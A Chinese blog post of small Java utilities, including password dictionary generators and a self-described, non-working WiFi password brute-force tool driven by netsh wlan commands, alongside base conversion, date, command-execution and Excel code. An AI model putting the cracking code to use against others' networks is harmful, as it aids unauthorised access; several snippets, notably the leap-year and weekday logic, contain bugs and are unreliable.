[Java]小功能

简介: [Java]小功能

1、26个字母大小写快速生成器

看下述代码。

String sequence = "";
char initLetter = 65;
for (int i = 0; i < 26; i++) {
    sequence += initLetter;
    System.out.print(initLetter);// 打印:ABCDEFGHIJKLMNOPQRSTUVWXYZ
    initLetter++;
}
System.out.println();
System.out.println(sequence.toLowerCase());// 打印:abcdefghijklmnopqrstuvwxyz

2、6位随机密码字典生成器

看下述代码。

// 字典源字符
private static String DICT_RAW_LETTER = "";
static {
    DICT_RAW_LETTER += "0123456789";
    DICT_RAW_LETTER += "abcdefghijklmnopqrstuvwxyz";
    DICT_RAW_LETTER += "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
}
    
/**
 * 连续依次生成6位验证码
 */
public static void contiGeneSixBitsCodeForLoop() {
    int len = DICT_RAW_LETTER.length();
    String code = "";
    for(int a = 0; a < len; a++) {
        code += DICT_RAW_LETTER.charAt(a);
        for(int b = 0; b < len; b++) {
            code += DICT_RAW_LETTER.charAt(b);
            for(int c = 0; c < len; c++) {
                code += DICT_RAW_LETTER.charAt(c);
                for(int d = 0; d < len; d++) {
                    code += DICT_RAW_LETTER.charAt(d);
                    for(int e = 0; e < len; e++) {
                        code += DICT_RAW_LETTER.charAt(e);
                        for(int f = 0; f < len; f++) {
                            code += DICT_RAW_LETTER.charAt(f);
//                                System.out.println(code);
                            code = code.substring(0, code.length() - 1);
                        }
                        code = code.substring(0, code.length() - 1);
                    }
                    code = code.substring(0, code.length() - 1);
                }
                code = code.substring(0, code.length() - 1);
            }
            code = code.substring(0, code.length() - 1);
        }
        code = code.substring(0, code.length() - 1);
    }
}

功能:稍加修改,可以依次生成由数字和大小写字母组成的6位密码集合,一共包含 (10 + 26 + 26)6 个密码。

3、6位随机密码递增生成器

看下述代码。

// 字典源字符
private static String DICT_RAW_LETTER = "";
static {
    DICT_RAW_LETTER += "0123456789";
    DICT_RAW_LETTER += "abcdefghijklmnopqrstuvwxyz";
    DICT_RAW_LETTER += "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
}
private static int sa = 0, sb = 0, sc = 0, sd = 0, se = 0, sf = 0;
/**
 * 逐次递增生成6位验证码
 */
public static String incrGeneSixBitsCode() {
    String code = "";
    code += DICT_RAW_LETTER.charAt(sa);
    code += DICT_RAW_LETTER.charAt(sb);
    code += DICT_RAW_LETTER.charAt(sc);
    code += DICT_RAW_LETTER.charAt(sd);
    code += DICT_RAW_LETTER.charAt(se);
    code += DICT_RAW_LETTER.charAt(sf);
    sf++;// 每调用1次,最后1位加1
    int len = DICT_RAW_LETTER.length();
    if (sf == len - 1 && se == len - 1 && sd == len - 1 && sc == len - 1 && sb == len - 1) {
        sf = 0;
        se = 0;
        sd = 0;
        sc = 0;
        sb = 0;
        sa++;
    }
    if (sf == len - 1 && se == len - 1 && sd == len - 1 && sc == len - 1) {
        sf = 0;
        se = 0;
        sd = 0;
        sc = 0;
        sb++;
    }
    if (sf == len - 1 && se == len - 1 && sd == len - 1) {
        sf = 0;
        se = 0;
        sd = 0;
        sc++;
    }
    if (sf == len - 1 && se == len - 1) {
        sf = 0;
        se = 0;
        sd++;
    }
    if (sf == len - 1) {
        sf = 0;
        se++;
    }
    return code;
}

功能:在000 000~ZZZ ZZZ~zzz zzz范围内,从000 000开始,每调用1次,递增生成1个6位密码。

示例:

int n = 100;
while (n-- > 0) {
    String code = RandCodeGenerator.incrGeneSixBitsCode();
    System.out.println(code);
}

打印结果:

000000
000001
000002
...
00000b
00000c
00000d
...
000016
000017
000018
...
00001A
00001B
00001C

4、暴力破解wifi方法(简易版,未成功)

借鉴自博文【java破解WIFI】(转发)。

此方法本人尝试未成功,既然未成功,为何我还要发布出来?

2 个原因: \color{green}{2个原因:}2个原因:

  1. 让我对wlan的连接有了初步的了解;
  2. 让我掌握了2个类:java.lang.Processjava.lang.Runtime。为此,我还写了两篇API相关博文,大家有兴趣可以看看。

下述代码是基于那篇博文中的代码修改而成,个人感觉,思路、业务更清晰一点。

4.1 完整代码

public class NetworkCrack1 {
    // wlan配置文件操作(生成、导出...)路径
    private static final String WLAN_FILE_DIR_PATH = "C:\\Users\\于辰\\Downloads\\新建文件夹\\";
    /**
     * 注:
     *   1、以下netsh wlan系列命令通过 Runtime.exec() 系列方法执行,即在 cmd 执行,故依赖于工作目录,在此项目中即上面的 WLAN_FILE_DIR_PATH。
     *      在下述的编码中,会写死。故在如下的命令中,不需要考虑。目录;
     *   2、之所以如下命令采用“替换合成”,而不是“拼接合成”,是因为:这些命令的格式都是固定的,后续拼接容易错误或遗漏,
     *      而替换容易、保险
     */
    // 列出所有可用wlan
    private static final String CMD_SHOWWLAN = "netsh wlan show networks mode=bssid";
    // 添加wlan配置文件
    private static final String CMD_ADDWLAN = "netsh wlan add profile filename=WLAN-ssid_name.xml";
    // 连接wlan,ssid_name是wlan的名称
    private static final String CMD_CONNWLAN = "netsh wlan connect name=ssid_name";
    // 此命令用于确认是否已连上wlan,即是否可上网。因此是间接测试,而不是直接测试。
    private static final String CMD_PING = "ping www.baidu.com";
    /**
     * wlan配置文件模板
     * 注:此项目生成wlan配置文件的方法就是将需要的信息替换到模板的相应位置,仅此而已,而不是通过调用第三方包
     */
    private static String XML_FORMAT = "<?xml version=\"1.0\"?>"
            + "<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">"
            + "<name>WIFI_NAME</name>"
            + "<SSIDConfig>"
            + "<SSID>"
            + "<name>WIFI_NAME</name>"
            + "</SSID>"
            + "<nonBroadcast>true</nonBroadcast>"
            + "</SSIDConfig>"
            + "<connectionType>ESS</connectionType>"
            + "<connectionMode>manual</connectionMode>"
            + "<MSM>"
            + "<security>"
            + "<authEncryption>"
            + "<authentication>WPA2PSK</authentication>"
            + "<encryption>AES</encryption>"
            + "<useOneX>false</useOneX>"
            + "</authEncryption>"
            + "<sharedKey>"
            + "<keyType>passPhrase</keyType>"
            + "<protected>false</protected>"
            + "<keyMaterial>PASSWORD</keyMaterial>"
            + "</sharedKey>"
            + "</security>"
            + "</MSM>"
            + "<MacRandomization xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v3\">"
            + "<enableRandomization>false</enableRandomization>"
            + "</MacRandomization>"
            + "</WLANProfile>";
    public static void main(String[] args) throws Exception {
        // 打印出当前可用的所有wlan的ssid_name和信号强度
        Map<String, String> networksMap = showNetworks();
        for (Map.Entry<String,String> e: networksMap.entrySet()) {
            System.out.println(e);
        }
        Scanner sc = new Scanner(System.in);
        System.out.print("请输入计划破解的wlan编号:(从1开始)");
        int index = sc.nextInt();
        // 获取ssid_name
        String ssidName = null;
        Iterator<String> it = networksMap.keySet().iterator();
        while (it.hasNext() && index-- > 0) {
            ssidName = it.next();
        }
        // 获取随机密码
        String password = RandCodeGenerator.incrGeneSixBitsCode();
        // 尝试连接
        if (!connect(ssidName, password)) {
            return;
        }
        // 测试网络
        if (testNetwork()) {
            System.out.println("*连接成功,ssid_name" + ssidName + "\t密码:" + password);
        } else {
            System.out.println("*连接失败,ssid_name" + ssidName + "\t密码:" + password);
        }
    }
    /**
     * 尝试对指定wifi设定一个密码,然后连接,连接成功返回true
     */
    private static boolean connect(String ssidName, String password) throws Exception {
        boolean flag = false;
        if (!generateXml(ssidName, password)) {
            System.out.println("配置文件生成失败,ssid_name:" + ssidName + "\t密码:" + password);
            return false;
        }
        if (!addXml(ssidName)) {
            System.out.println("配置文件加载失败,ssid_name:" + ssidName + "\t密码:" + password);
            return false;
        }
        execute2(CMD_CONNWLAN + ssidName);// 连接wlan
        Thread.sleep(8000);// 配置文件添加成功,执行连接命令后,若密码正确,大概需要8s才能连接成功
        return flag;
    }
    /**
     * 最后,ping 一个地址,测试是否真的连上网络了
     */
    private static boolean testNetwork() throws Exception {
        boolean flag = false;
        String result = execute2(CMD_PING);
        if (result.indexOf("Ping 请求找不到主机 www.baidu.com。请检查该名称,然后重试。") != -1) {
            flag = false;
        }
        return flag;
    }
    /**
     * 加载wlan配置文件
     *
     * @param ssidName wlan名称
     */
    private static boolean addXml(String ssidName) throws Exception {
        boolean flag = false;
        String cmdResult = execute2(CMD_ADDWLAN.replace("ssid_name", ssidName));
        if (cmdResult.indexOf("已将配置文件") != -1) {
            flag = true;
        }
        return flag;
    }
    /**
     * 生成wlan配置文件
     *
     * @param ssidName wlan名称
     */
    private static boolean generateXml(String ssidName, String password) throws Exception {
        boolean flag = false;
        PrintWriter out = null;
        try {
            out = new PrintWriter(WLAN_FILE_DIR_PATH + "\\WLAN-" + ssidName + ".xml");
            String xmlContent = XML_FORMAT.replaceAll("WIFI_NAME", ssidName).replaceAll("PASSWORD", password);
            out.println(xmlContent);
            out.flush();
            flag = true;
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } finally {
            closeIO(null, out);
        }
        return flag;
    }
    /**
     * 获取所有可用的wlan名称,key是wifi名称,value是信号强度
     */
    private static Map<String, String> showNetworks() throws Exception {
        Map<String, String> cmdMap = new HashMap<>();
        boolean putFlag = false;// 用于判断 put() 时机
        List<String> networksList = execute1(CMD_SHOWWLAN);
        String key = "", value = "";
        for (int i = 0; i < networksList.size(); i++) {
            String str = networksList.get(i);
            if (str.startsWith("SSID")) {
                key = str.substring(9);
            } else if (str.endsWith("%")) {
                if (str.indexOf(100) != 01) {
                    cmdMap.put(key, "100%");
                    putFlag = false;
                    continue;
                }
                value = str.substring(str.length() - 3);
                putFlag = true;
            }
            if (putFlag) {
                cmdMap.put(key, value);
                putFlag = false;
            }
        }
        return cmdMap;
    }
    /**
     * 在指定目录(固定)下执行指定命令 command,返回命令相应的内容
     * 注:为查看当前所有可用wlan,因为将命令相应信息以 List<String> 格式返回,便于获取所需信息。
     *      而其他命令返回 String 即可满足需求。
     */
    private static List<String> execute1(String command) throws Exception {
        List<String> cmdList = new ArrayList<>();
        BufferedReader in = null;
        try {
            Process process = Runtime.getRuntime().exec(command);
            in = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
            String lineStr;
            while ((lineStr = in.readLine()) != null) {
                cmdList.add(lineStr);
            }
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            closeIO(in, null);
        }
        return cmdList;
    }
    /**
     * 在指定目录(固定)下执行指定命令 command,返回命令相应的内容
     */
    private static String execute2(String command) throws Exception {
        StringBuffer cmdResult = new StringBuffer();
        InputStreamReader in = null;
        try {
            Process process = Runtime.getRuntime().exec(command, null, new File(WLAN_FILE_DIR_PATH));
            in = new InputStreamReader(process.getInputStream(), "gbk");
            int len;
            char[] tempCArr = new char[1024];
            while ((len = in.read(tempCArr)) != -1) {
                cmdResult.append(new String(tempCArr, 0, len));
            }
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            closeIO(in, null);
        }
        return cmdResult.toString();
    }
    /**
     * 关闭IO管道,此项目需要高频次创建IO管道,因此必须确保每次使用后都关闭(finally),否则可能导致栈溢出。
     */
    private static void closeIO(Reader in, Writer out) throws Exception {
        if(in != null)
            in.close();
        if(out != null)
            out.close();
    }
}

我画了张图,方便大家理解。

这里呢,我也只能提供这一点辅助了,具体的大家看代码。

放心,是完整代码,大家copy后,如果报错,相应方法的代码可以在这篇博文中找到,如果找不到,自行开发一下,简单实现就行。

4.2 改成方案

将上述代码中的generateXml(),修改成:

private static boolean generateXml(String ssidName, String password) throws Exception {
    boolean flag = false;
    FileOperator.writeFile1(WLAN_FILE_DIR_PATH + "WLAN-simon.xml",
            WLAN_FILE_DIR_PATH + "\\WLAN-" + ssidName + ".xml");
    flag = true;
    return flag;
}

代码中的writeFile1()的源码,我就不附加了,大家自行开发,其功能是通过IO流,实现文件复制

为什么改进此方法? \color{grey}{为什么改进此方法?}为什么改进此方法?

从上述的完整代码,大家可以看出,生成wlan配置文件的方法其实就是用String存储一个xml配置文件的模板。在生成时,用wlan名称和密码替换到相应位置,形成一个新的xml配置文件内容,然后使用IO流输出文件,从而生成一个新的wlan配置文件。

这个思路就是这么简单,而并不是通过调用第三方包实现。

但这个方法有个弊端,由于xml文件不是纯文本文件,有自己的格式,上述方法仅能生成xml文件的内容,使用IO流输出的xml文件是有问题的。

打开文件,从表面上看没有问题,但后面添加配置文件时就会提示“文件损坏”,从而无法添加成功。

因此,改成的方法是通过IO流,复制wlan配置文件来生成新的wlan配置文件。

当然了,如此改进从表面上看,功能也是不完整的,因为没有替换wlan名称和密码。

4.3 不成功原因

为什么我没有继续开发了? \color{grey}{为什么我没有继续开发了?}为什么我没有继续开发了?

下图是一个wlan配置文件。

图中红框部分我找了一些资料,都没弄明白是做什么的。

我做了一个测试,先将一个成功连接的wlan配置文件删除(删除后连接自动断开),然后打开这个wlan的配置文件(删除前先导出了一份),仅修改这个hex,然后,添加配置文件 → 连接wlan,结果无法连接成功。

可见,这个hex至关重要,我猜测应该是wlan-id之类的参数。至少目前,我不知道如何生成。

这个关键的hex无法生成,整个流程就无法完成,后续的功能自然没必要继续开发。

注: \color{red}{注:}注:还有其他几个命令(如:删除、导出wlan配置文件),本文中就不列举了,大家有需要可查阅我借鉴的那篇博文。

5、进制转换器

时间有些久,现在也没时间再附加一些注释了,大家看一些关键的地方就好。

5.1 字段

private static Map<String, String> CONVERTOR = new HashMap<>();
static {
    CONVERTOR.put("0", "0000");
    CONVERTOR.put("1", "0001");
    CONVERTOR.put("2", "0010");
    CONVERTOR.put("3", "0011");
    CONVERTOR.put("4", "0100");
    CONVERTOR.put("5", "0101");
    CONVERTOR.put("6", "0110");
    CONVERTOR.put("7", "0111");
    CONVERTOR.put("8", "1000");
    CONVERTOR.put("9", "1001");
    CONVERTOR.put("a", "1010");
    CONVERTOR.put("b", "1011");
    CONVERTOR.put("c", "1100");
    CONVERTOR.put("d", "1101");
    CONVERTOR.put("e", "1110");
    CONVERTOR.put("f", "1111");
}

这是十六进制与二进制间转换所需要的,当然可以手动换算,个人觉得这样比较简便。

5.2 方法

1、检查范围是否在 0 ~ 255 之间。

/**
 * 检查范围是否在 0 ~ 255 之间
 */
private static boolean checkIntRange(int number) {
    if (number < 0 || number > 255)
        return false;
    return true;
}

2、计算n位二进制的十进制。

/**
 * 计算n位二进制的十进制
 *
 * @param byteStr 二进制字符串
 * @param initI 开始换算的索引
 * @return
 */
private static int calculateByte(String byteStr, int initI) {
    int sum = 0;
    int len = byteStr.length();
    for (int i = initI; i < len; i++) {
        char c = byteStr.charAt(i);
        if (c == '1')
            sum += Math.pow(2, len - i - 1);
    }
    return sum;
}

3、检查范围是否在 0 ~ 255 之间。(用于检查二/八/十六进制)

/**
 * 检查范围是否在 0 ~ 255 之间
 *
 * @param scaleStr 进制值字符串
 * @param flag     进制标识,
 *                 1 - 8位二进制;
 *                 2 - 3位八进制,范围:0000 ~ 0377;
 *                 3 - 2位十六进制,范围:0x00 ~ 0xff。
 * @return
 */
public static boolean checkXscaleRange(String scaleStr, int flag) {
    int len = scaleStr.length();
    switch (flag) {
        case 1: {// 二进制
            if (len < 1 || len > 8) {
                return false;
            }
            len--;
            int i;
            while ((i = len--) > 0) {
                char c = scaleStr.charAt(i);
                if (!(c == '0' || c == '1'))
                    return false;
            }
            break;
        }
        case 2: {// 八进制
            if (!scaleStr.startsWith("0"))
                return false;
            if (len < 2 || len > 4)
                return false;
            len--;
            int i;
            while ((i = len--) > 0) {
                char c = scaleStr.charAt(i);
                if (i == 1)
                    if (c < '0' || c > '3')
                        return false;
                if (c < '0' || c > '7')
                    return false;
            }
            break;
        }
        case 3: {// 十六进制
            if (!(scaleStr.startsWith("0x") || scaleStr.startsWith("0X")))
                return false;
            if (len < 3 || len > 4)
                return false;
            len--;
            int i;
            while ((i = len--) > 1) {
                char c = scaleStr.charAt(i);
                boolean check1 = c >= '0' && c <= '9';
                boolean check2 = c >= 'A' && c <= 'F';
                boolean check3 = c >= 'a' && c <= 'f';
                if (!(check1 || check2 || check3))
                    return false;
            }
            break;
        }
        default:
            return false;
    }
    return true;
}

5.3 核心方法

1、8位二进制/4位八进制/4位十六进制 → 十进制。

/**
 * 8位二进制/4位八进制/4位十六进制 → 十进制
 *
 * @param scaleStr 进制值字符串
 * @param flag 进制标识
 * @return
 */
public static String xScaleToInt(String scaleStr, int flag) {
    if (!checkXscaleRange(scaleStr, flag))
        return "请输入有效进制数";
    int len = scaleStr.length();
    int exponent = flag == 1 ? 2 : flag == 2 ? 8 : flag == 3 ? 16 : 0;// 指数底数
    int initI = flag == 1 ? 0 : flag == 2 ? 1 : flag == 3 ? 2 : 0;// 计算起始索引
    int sum = 0;
    switch (flag) {
        case 1: {
            sum  = calculateByte(scaleStr, initI);
            break;
        }
        case 2: {
            for (int i = initI; i < len; i++) {
                char c = scaleStr.charAt(i);
                sum += (c - 48) * Math.pow(exponent, len - i - 1);
            }
            break;
        }
        case 3: {
            for (int i = initI; i < len; i++) {
                char c = scaleStr.charAt(i);
                boolean check1 = c >= '0' && c <= '9';
                boolean check2 = c >= 'A' && c <= 'F';
                boolean check3 = c >= 'a' && c <= 'f';
                int temp = check1? c - 48: check2? c - 55: check3? c - 87: 0;
                sum += temp * Math.pow(exponent, len - i - 1);
            }
        }
    }
    return sum + "";
}

2、十进制 → 8位二进制/4位八进制/4位十六进制。

/**
 * 十进制 →8位二进制/4位八进制/4位十六进制
 *
 * @param number 进制值字符串
 * @param flag 进制标识
 * @return
 */
public static String intToXScale(int number, int flag) {
    if(!checkIntRange(number))
        return "超出整数范围";
    List<Integer> quoList = new ArrayList<>();// 记录余数
    // 进制转换
    int divisor = flag == 1 ? 2 : flag == 2 ? 8 : flag == 3 ? 16 : 0;// 除数
    int quotient;// 商
    while ((quotient = number / divisor) != 0) {
        quoList.add(number % divisor);
        number = quotient;
    }
    quoList.add(number);
    // 数据处理
    StringBuffer result = new StringBuffer();// 结果字符串
    if (flag == 1) {
        for (int i = quoList.size(); i < 8; i++) {
            quoList.add(0);
        }
        Collections.reverse(quoList);
        for (int i = 0; i < quoList.size(); i++) {
            result.append(quoList.get(i));
        }
    }
    if (flag == 2) {
        result.append("0");
        for (int i = quoList.size() - 1; i > -1; i--) {
            result.append(quoList.get(i));
        }
    }
    if (flag == 3) {
        result.append("0x");
        for (int i = quoList.size() - 1; i > -1; i--) {
            int temp = quoList.get(i);
            if (temp > 9)
                result.append((char)(temp + 87));
            else
                result.append(temp);
        }
    }
    return result.toString();
}

3、8位二进制 → 4位十六进制。

/**
 * 8位二进制 → 4位十六进制
 *
 * @param byteStr 二进制字符串
 *
 * 注:将8为二进制分为两段,每一段都占4位
 */
public static String byteToHexadecimal(String byteStr) {
    if (!checkXscaleRange(byteStr, 1))
        return "请输入8位二进制";
    String result = "0x";
    int sum = calculateByte(byteStr.substring(0, 4), 0);// 每一段的十进制
    if (sum != 0) {
        if (sum > 9)
            result += (char) (sum + 87);
        else
            result += sum;
    }
    sum = calculateByte(byteStr.substring(4, byteStr.length()), 0);
    if (sum > 9)
        result += (char) (sum + 87);
    else
        result += sum;
    return result;
}

4、4位十六进制 → 8位二进制。

/**
 * 4位十六进制 → 8位二进制
 * 
 * @param oxStr 十六进制字符串
 * @return
 */
public static String hexadecimalToByte(String oxStr) {
    if (!checkXscaleRange(oxStr, 3))
        return "请输入正确的十六进制数,如:0xa";
    String result = "";
    int len = oxStr.length();
    char c = oxStr.charAt(2);
    result += CONVERTOR.get("" + c);
    if (len == 3)
        result = "0000" + result;
    else {
        c = oxStr.charAt(3);
        result += CONVERTOR.get("" + c);
    }
    return result;
}

5.4 测试示例

1、测试checkXscaleRange()

// 测试是否超出兼容范围
System.out.println(Convertor.checkXscaleRange("", 4));
System.out.println("************");
// 测试二进制
System.out.println(Convertor.checkXscaleRange("000100000", 1));// f
System.out.println(Convertor.checkXscaleRange("0002", 1));// f
System.out.println(Convertor.checkXscaleRange("0001", 1));// t
System.out.println("************");
// 测试八进制
System.out.println(Convertor.checkXscaleRange("00020", 2));// f
System.out.println(Convertor.checkXscaleRange("1002", 2));// f
System.out.println(Convertor.checkXscaleRange("0080", 2));// f
System.out.println(Convertor.checkXscaleRange("0070", 2));// t
System.out.println(Convertor.checkXscaleRange("008", 2));// f
System.out.println(Convertor.checkXscaleRange("007", 2));// t
System.out.println(Convertor.checkXscaleRange("08", 2));// f
System.out.println(Convertor.checkXscaleRange("07", 2));// f
System.out.println(Convertor.checkXscaleRange("03", 2));// t
System.out.println("************");
// 测试十六进制
System.out.println(Convertor.checkXscaleRange("0x080", 3));// f
System.out.println(Convertor.checkXscaleRange("0008", 3));// f
System.out.println(Convertor.checkXscaleRange("0x08", 3));// t
System.out.println(Convertor.checkXscaleRange("0x0g", 3));// f
System.out.println(Convertor.checkXscaleRange("0x0f", 3));// t
System.out.println(Convertor.checkXscaleRange("0xg", 3));// f
System.out.println(Convertor.checkXscaleRange("0xf", 3));// t

2、测试xScaleToInt()

// 二进制 → 十进制
System.out.println(Convertor.xScaleToInt("00001010", 1));// 10
System.out.println(Convertor.xScaleToInt("1010", 1));// 10
System.out.println("************");
// 八进制 → 十进制
System.out.println(Convertor.xScaleToInt("00", 2));// 0
System.out.println(Convertor.xScaleToInt("05", 2));// 5
System.out.println(Convertor.xScaleToInt("000", 2));// 0
System.out.println(Convertor.xScaleToInt("005", 2));// 5
System.out.println(Convertor.xScaleToInt("037", 2));// 31
System.out.println(Convertor.xScaleToInt("0200", 2));// 128
System.out.println(Convertor.xScaleToInt("0377", 2));// 255
System.out.println("************");
// 十六进制 → 十进制
System.out.println(Convertor.xScaleToInt("0x0", 3));// 0
System.out.println(Convertor.xScaleToInt("0x5", 3));// 5
System.out.println(Convertor.xScaleToInt("0xa", 3));// 10
System.out.println(Convertor.xScaleToInt("0xa0", 3));// 160
System.out.println(Convertor.xScaleToInt("0xaa", 3));// 170
System.out.println(Convertor.xScaleToInt("0xff", 3));// 255

3、测试intToXScale()

// 十进制 → 二进制
System.out.println(Convertor.intToXScale(10, 1));// 0000 1010
System.out.println(Convertor.intToXScale(20, 1));// 0001 0100
// 十进制 → 八进制
System.out.println(Convertor.intToXScale(10, 2));// 012
System.out.println(Convertor.intToXScale(20, 2));// 024
// 十进制 → 十六进制
System.out.println(Convertor.intToXScale(10, 3));// 0xa
System.out.println(Convertor.intToXScale(20, 3));// 0x14

4、测试byteToHexadecimal()

System.out.println(Convertor.byteToHexadecimal("00001010"));// 0xa
System.out.println(Convertor.byteToHexadecimal("00010100"));// 0x14
System.out.println(Convertor.byteToHexadecimal("01100100"));// 0x64
System.out.println(Convertor.byteToHexadecimal("10010101"));// 0x95

5、测试hexadecimalToByte()

System.out.println(Convertor.hexadecimalToByte("0xa"));
System.out.println(Convertor.hexadecimalToByte("0x14"));
System.out.println(Convertor.hexadecimalToByte("0x64"));
System.out.println(Convertor.hexadecimalToByte("0x95"));

6、求某年元旦的星期

我曾使用过的2种方法。

6.1 方法一:5/4

计算步骤:

  1. 求国庆星期的方法:无论平年或闰年,国庆的星期是此年对7取模(取余)。
  2. 断是平年还是闰年:年份 * 5/4。若取整为本身,则是闰年。
  3. 若是平年,元旦与国庆的星期相同;若是闰年,元旦的星期比国庆少1。

示例:

int year = 2020;
int nationDay = year%7;// 国庆星期
double judge = year * 5.0/4;
if (judge == (int) judge)// 若取整为本身,则是闰年
    System.out.println("闰年,元旦星期:" + (nationDay - 1));
else
    System.out.println("平年,元旦星期:"+ nationDay);
// 打印:闰年,元旦星期:3

此方法有局限性,大致只能计算出2001年 ~ 2099年的元旦星期。

6.2 方法二:乘365,遍历year

看下述代码:

int year = 2020;
int sum = year * 365;
// 判断平/闰年方法2:四年一闰,百年不闰,四百年一闰
String state = (year%4 == 0 || year%400 == 0) && (year%100 != 0)? "闰年" : "平年";
for (int i = 1; i < year; i++) {
    double judge = i * 5.0/4;
    if (judge == (int) judge) {// 若取整为本身,则是闰年
        sum++;
    }
}
System.out.println(state + ",元旦星期:"+ (sum%7 - 1));// 打印:闰年,元旦星期:3

我暂且不知这种方法的原理,因此不便对代码进行说明。不过的确很实用,只能请大家自行理解了。

7、cmd命令执行器

看下述代码:

/**
 * 执行cmd命令
 *
 * @param command 命令
 * @param dirPath 执行目录
 * @param param   命令参数
 * @return 命令执行结果,包括:输入流、输出流、错误流信息
 */
public static Map<String, String> exec(String command, String dirPath, String param) throws Exception {
    Map<String, String> resultMap = new TreeMap<>();
    Runtime runtime = Runtime.getRuntime();
    Process process;
    if (dirPath == null)
        process = runtime.exec(command);
    else
        process = runtime.exec(command, null, new File(dirPath));
    // 提供命令所需参数(暂未测试出实际作用)
    OutputStreamWriter out = new OutputStreamWriter(process.getOutputStream(), "gbk");
    if (!(param == null || param.isEmpty())) {
        out.write(param);
    }
    resultMap.put("out", param);
    out.close();
    StringBuilder result = new StringBuilder(1024);
    String tempStr;
    BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
    while ((tempStr = in.readLine()) != null) {
        result.append(tempStr);
        result.append("\n");
    }
    resultMap.put("in", result.toString());
    in.close();
    result = new StringBuilder();
    tempStr = "";
    BufferedReader err = new BufferedReader(new InputStreamReader(process.getErrorStream(), "gbk"));
    while ((tempStr = err.readLine()) != null) {
        result.append(tempStr);
        result.append("\n");
    }
    resultMap.put("err", result.toString());
    err.close();
    return resultMap;
}

使用类:ProcessRuntimeBufferedReaderOutputStreamWriter

8、自动重连wlan程序

看下述代码:

public static void reConnect() throws Exception {
    String dirPath = "C:\\Users\\于辰\\Downloads\\新建文件夹";
    int count = 0;
    while (true) {
        // 检查网络是否可用
        String cmd = "ping baidu.com";
        Map<String, String> result = exec(cmd, null, null);
        String inMsg = result.get("in");
        if (!(inMsg.contains("找不到主机") || inMsg.contains("请求超时"))) { // 网络正常
            System.out.println(inMsg);
            System.out.println("*******************************************************************");
            Thread.sleep(10000);
            continue;
        } else {
            count++;
            // 尝试连接
            cmd = "netsh wlan connect name=fflz";
            CmdOperator.exec(cmd, dirPath, null);
            Thread.sleep(5000);// wlan连接需要时间
            // 连接后确认网络是否可用
            cmd = "ping baidu.com";
            result = exec(cmd, null, null);
            inMsg = result.get("in");
            if (!inMsg.contains("找不到主机") && !inMsg.contains("请求超时")) {
                System.out.format("网络可用。已尝试连接次数:%d,时间:%s", count, new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()));
                System.out.println();
                Thread.sleep(15000);
            } else if(inMsg.contains("请求超时")) {
                System.out.println(inMsg);
            } else {
                System.out.format("连接失败。已尝试连接次数:%d,时间:%s", count, new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()));
                System.out.println();
            }
            Thread.sleep(5000);
        }
    }
}

调用上1项方法执行cmd命令。

所需cmd命令:

  1. 导出wlan配置文:netsh wlan export profile name=ssid_name
  2. 连接wlan:netsh wlan connect name=ssid_name

9、读取文本薄

1、文件兼容类型。

// 兼容文件后缀列表
private static final String FILE_TYPE;
static {
    FILE_TYPE = ".xls/.xlsx/.csv";
}

2、文件检查。

/**
 * 文件有效性检查
 *
 * @param dataFile 数据文件
 * @return  检查结果
 */
public static void checkFile(File dataFile) throws Exception {
    // 文件有效性判断
    if (!dataFile.exists()) {
        throw new Exception("文件不存在");
    }
    if (dataFile.isDirectory()) {
        throw new Exception("不是文件");
    }
    // 检查文件后缀
    String path = dataFile.getAbsolutePath();
    String suffix = path.substring(path.lastIndexOf("."));
    if (FILE_TYPE.indexOf(suffix) == -1) {
        throw new Exception("不是文本薄文件");
    }
}

3、读取文本薄。

/**
 * 读取 excelPath所指的excel文件
 *
 * @param excelPath excel文件路径
 * @param sheetIndex 文本簿索引
 * @return
 */
public static List<Map<String, String>> readExcel(String excelPath, int sheetIndex) throws Exception {
    List<Map<String, String>> dataList = new ArrayList<>();
    File dataFile = new File(excelPath);
    // 检查文件
    checkFile(dataFile);
    XSSFWorkbook workbook = new XSSFWorkbook(dataFile);// 获取数据到工作簿
    if (sheetIndex < 0 || sheetIndex >= workbook.getNumberOfSheets())
        throw new Exception("此文本薄条目不存在");
    XSSFSheet sheet = workbook.getSheetAt(sheetIndex);// 获取第n张表
    XSSFRow titleRow = sheet.getRow(0);// 标题行
    for (int i = 1; i < sheet.getPhysicalNumberOfRows(); i++) {// 数据从第二行开始
        Map<String, String> dataMap = new HashMap<>();
        XSSFRow dataRow = sheet.getRow(i);// 数据行
        if (dataRow == null) // 排除空行(当当行所有列全为空时,此行不存在)
            continue;
        if (isValidRow(dataRow)) // 排除无效行
            continue;
        for (int j = 0; j < dataRow.getPhysicalNumberOfCells(); j++) {
            XSSFCell titleCell = titleRow.getCell(j);// 表头
            XSSFCell dataCell = dataRow.getCell(j);// 数据
            dataMap.put(titleCell.getStringCellValue(), getStringCellValue(dataCell));
        }
        dataList.add(dataMap);
    }
    return dataList;
}

4、判断是否是无效行。

/**
 * 判断数据行是否有效
 *
 * @param dataRow 数据行
 * @return
 */
public static boolean isValidRow (XSSFRow dataRow) {
    boolean isValid = true;
    // 若列无内容,则此列不存在
    XSSFCell cell0 = dataRow.getCell(0);// 若第一列有内容,视为有效
    if (cell0 != null)
        isValid = false;
    return isValid;
}

5、获取单元格数据。

/**
 * 根据cell值类型获取值
 *
 * @param cell 文档列
 * @return
 */
public static String getStringCellValue(XSSFCell cell) {
    if (cell == null) {
        return "";
    }
    if (cell.getCellType() == CellType.NUMERIC) {
        return cell.getNumericCellValue() + "";
    } else {
        return cell.getStringCellValue();
    }
}

本文持续更新中。。。

相关文章
|
1月前
|
Java 开发者
Java多线程教程:使用ReentrantLock实现高级锁功能
【4月更文挑战第6天】`ReentrantLock`是Java并发编程中一个强大的同步工具,比`synchronized`提供更丰富功能。它支持可响应性、可中断性、公平性选择及条件变量。通过示例展示了创建、公平性设置、可中断锁定、尝试锁定及条件变量的使用。`ReentrantLock`使线程同步更灵活,适用于高性能应用,但使用需谨慎,理解其原理并恰当使用。
|
2月前
|
